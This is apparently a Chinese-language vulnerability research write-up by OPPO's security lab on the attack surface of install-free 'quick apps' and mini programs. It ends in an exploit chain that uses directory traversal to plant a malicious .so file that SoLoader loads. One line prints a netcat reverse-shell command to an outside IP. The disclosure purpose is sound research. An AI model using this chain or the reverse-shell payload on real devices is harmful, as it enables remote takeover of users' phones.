1. 背景簡介
隨著5G時代來臨,網際網路資訊爆炸式增長,移動應用逐漸變得體積龐大且功能複雜。一方面普通消費者會越來越少地去下載客戶端,絕大多數需求需要以更輕量化的方式得到滿足,另一方面,每一個超級APP或手機廠商都想生態化的匯聚更多內容。由此,“快應用”一類的免安裝應用應運而生。
今年,OPPO子午實驗室在Black Hat Asia黑帽大會上分享了針對免安裝應用的研究與分析成果,如何從普通介面呼叫到應用許可權的遠端命令執行,我們將在本篇文章中進行更為詳盡的分析。
BlackHat是由傳奇黑客Jeff Moss於1997年創辦的全球性網路安全大會,被譽為黑客世界的“奧斯卡”,每年分別在美國、歐洲、亞洲各舉辦一場,作為全球資訊保安行業的頂級盛會,自誕生以來每年都吸引了全球眾多企業、政府機構和頂級安全廠商、研究組織的關注和參與。
2. 架構簡介
免安裝應用架構多樣,但從整體上看可以分為移動作業系統廠商與平臺型應用廠商兩種不同的派別。
移動作業系統廠商
國外以谷歌、蘋果為代表的作業系統廠商充分利用作為平臺的優勢,也方便開發者快速上手,將傳統的Android與iOS應用模組化,結構、開發語言要求等均不變,應用可以根據實際情況按需載入,極大程度上縮減了使用者的使用等待時間,進而實現”免安裝“的效果。
谷歌InstantApp與蘋果AppleClips對於安卓和iOS來說更多是一個“臨時應用”的角色,因此作業系統會對其可訪問的資料、許可權有所限制。比如iOS中,AppleClips不能和其他應用自由的交換資料,只能與自己對應的完整應用(full-app)進行資料共享;AppleClips不能進行後臺服務,也不能訪問通訊錄、檔案管理、簡訊等使用者敏感資料,甚至連通知都會在申請8小時之後自動撤銷。
平臺型應用廠商
平臺型應用廠商以國內的為顯著代表,諸如國內九大安卓手機廠商所建立的快應用平臺、微信、支付寶等。此類平臺型應用充分吸收了傳統H5應用的優勢,並將其與移動應用的JS-Bridge相結合。
快應用/小程式引擎實際上與瀏覽器的多程式架構非常類似,將我們的Web前端應用打包之後執行在引擎之上,不同快應用/小程式執行在不同的程式中,互不干擾。引擎作為中間人,一方面承擔著快應用/小程式程式碼直譯器,另一方面也是快應用/小程式與作業系統核心、底層硬體溝通的雙向橋樑。
3. 攻擊面解析
對於谷歌InstantApp與蘋果AppleClips的攻擊方式篇幅限制,不在此贅述。下文主要分析國內使用者更常使用的快應用/小程式的攻擊面。
如下圖架構縱覽所示,業務服務端、引擎服務端、引擎、原生Android/iOS應用、作業系統與底層硬體五者之間存在著諸多資料互動程式,而引擎又彷彿是架設在Android/iOS之上的微型OS,支撐並管理快應用/小程式生態正常執行。
3.1 從應用下載啟動流程看
在包下載的過程中,存在兩條攻擊路徑,如果廠商未使用嚴格的HTTPS傳輸,攻擊者可在下載過程替換資料,將惡意內容回傳給客戶端;另外如果廠商將包臨時下載到手機的外部儲存,惡意應用也可以抓住這個時機進行替換,當然這也依賴於引擎未對包做檔案校驗。
3.2 從引擎提供介面看
無論是小程式還是快應用都提供了許多呼叫系統或者底層硬體的介面,從拍照錄音到操作檔案系統,眾多的介面隱藏著巨大的安全隱患。總體可以歸為如下幾類:
1) 感測器或硬體呼叫類:電量、藍芽、NFC、螢幕、鍵盤、加速計、羅盤等
針對此類不包含使用者敏感資料的介面,我們需要關注的便是授權,快應用/小程式是否可以不經過授權呼叫介面能力或一次授權永久授權;
2) 檔案系統: 建立檔案/目錄、下載檔案、上傳檔案、刪除檔案/目錄、解壓檔案等
檔案系統直接與Android/iOS作業系統互動,具有很高的風險,需要關注的點較多,如下:
- 授權,快應用/小程式需要獲得使用者授權才能呼叫介面讀寫檔案系統;
- 可操作檔案系統範圍,快應用/小程式可操作的根目錄是否被限制在私有目錄下的一個具體目錄內;
- 介面是否判斷了目錄穿越符號../,下載檔案介面或解壓介面能否穿越目錄跳出可操作檔案系統範圍;
- 介面在底層可能呼叫了C++函式或系統函式,是否能夠注入惡意字串執行命令或刪除不可期的目錄檔案。
3) 平臺特色:實名認證、廣告、應用下載、卡券、紅包、賬號體系、支付等。
此類與服務端互動的介面更多的是業務邏輯漏洞,我們需要關注這些介面是否在客戶端完成校驗,哪怕是整個校驗流程中的一步,都有可能造成巨大危害。
實名認證、支付等介面,客戶端驗證可能繞過兒童模式管制或付費體系,實現本地破解;
廣告、應用下載等計費介面,快應用/小程式能否繞過計費或刷量;
4) 作業系統呼叫:相機、錄音、應用跳轉、資料儲存、通知、WebView、剪貼簿、聯絡人、日曆等。
作業系統呼叫涉及使用者敏感資訊,除了上述的授權之外,我們需要關注:
- 介面能否在後臺持續執行,比如錄音,拍照;
- WebView能否開啟任意URL,並攜帶身份資訊欄位;
- 應用跳轉範圍是否可控,支援哪些協議;
- 資料儲存的位置是否安全,其他快應用/小程式或者原生應用能否篡改;
3.3 從引擎底層看
引擎自身由邏輯程式碼JavaScript解析引擎、WebView元件、圖片音視訊解碼元件、JS to C++/Swift/ObjcC系統呼叫庫等組成。
1)我們首先說說JS引擎,不同平臺不同廠商使用的JS引擎各不相同,但總歸是基於V8或者JavaScriptCore,快應用/小程式引擎首先將JS檔案預處理、結構化,再交由JS引擎進行優化執行。
小程式 | 快應用 | |
---|---|---|
Android | X5核心/UC核心 | V8引擎 |
iOS | JavaScriptCore | --- |
也就是說如果我們在小程式/快應用的邏輯程式碼層也就是小程式的js檔案、快應用的ux檔案中插入V8/JSC的漏洞利用程式碼,等待引擎進行解析執行便可造成檔案讀寫甚至命令執行,當然具體效果這也取決於不同廠商在對JS引擎漏洞緩解措施。
2)圖片音視訊解碼元件
名稱 | 元件 | 是否有歷史CVE漏洞 |
---|---|---|
音訊 | MediaBrowserCompat、FFmpeg... | 未知 |
JPG/JPEG | libjpeg-turbo、... | 存在 |
視訊 | Mediacodec、libstagefright、FFmpeg... | 存在 |
快應用/小程式支援多種圖片格式解析、音視訊播放、live直播等,除了依賴作業系統底層的元件外,自身可能嵌入了很多自定義動態連結庫,而很多動態連結庫比如libjpeg-turbo、FFmpeg都是存在歷史CVE漏洞了,而對這些庫的Fuzz也是比較方便的,因此這是快應用/小程式引擎的一個潛在攻擊面。
4. 從目錄穿越到遠端命令執行
我們在第二章節提到過,檔案系統是引擎提供的許可權很高的介面,稍不慎便可造成命令執行等,於是我們便從此既定目標出發,看看在快應用中能否實現目錄穿越。
快應用實現了較多的檔案讀寫操作API,比如:
access(object)
appendFile(object)
mkdir(object)
readFile(object)
rename(object)
readdir(object)
...
如果要實現遠端攻擊,則我們需要從網路上向受害者裝置下載寫入檔案,自然而然,我們首先嚐試使用其中某介面穿越到lib-main寫入動態連結庫lib-xxx.so
經過真機測試,我們成功寫入了惡意的so檔案載入庫:
那為什麼我們要向這個目錄寫入so檔案呢?那我們需要提到一個東西——Facebook SoLoader。
SoLoader是facebook推出的一個So檔案載入庫,它封裝了System.loadLibrary並且能夠處理So檔案的依賴。
當React Native應用第一次啟動時,SoLoader會在/data/data/package_name
下建立一個lib-main
資料夾並根據規則提取apk中的So檔案到其中。
如此我們便可讓引擎載入我們惡意的so檔案載入庫,達到本地命令執行的效果:
shell.so 執行 => system("/system/bin/toybox nc 192.168.1.153 1233 | /system/bin/sh &");
但要實現遠端命令執行還遠遠不夠,受害者需要開啟目標快應用,並二次重啟快應用引擎。我們知道快應用支援二維碼、deeplink、NFC等方式開啟應用,於是整個漏洞利用鏈如下:
只需要使用者點選hap scheme連結或者接觸NFC裝置,我們便可實現遠端命令執行。
5. 總結與展望
本文提到的免安裝應用攻擊面與漏洞利用方式或許只是冰山一角,但免安裝應用是移動應用的的未來發展趨勢,跨平臺的特性,不僅在手機終端廣泛使用,也開始搭載在新能源汽車的車機系統之中,或許以後還能夠在工控、醫療、穿戴裝置上看到它的身影,它的漏洞潛在威力實在不容小覷。
6. 引用連結
[1] https://www.infoq.cn/article/...
[2] https://github.com/facebook/S...
作者簡介
Zhiyang OPPO子午安全實驗室網路安全工程師
OPPO子午安全實驗室成立於2019年,以“保護使用者的安全與隱私,為品牌注入安全基因”為使命,持續關注業務安全、紅藍對抗、AIoT安全、Android安全、資料和隱私保護等領域,深耕安全攻防研究及研發體系安全建設。
獲取更多精彩內容,掃碼關注[OPPO數智技術]公眾號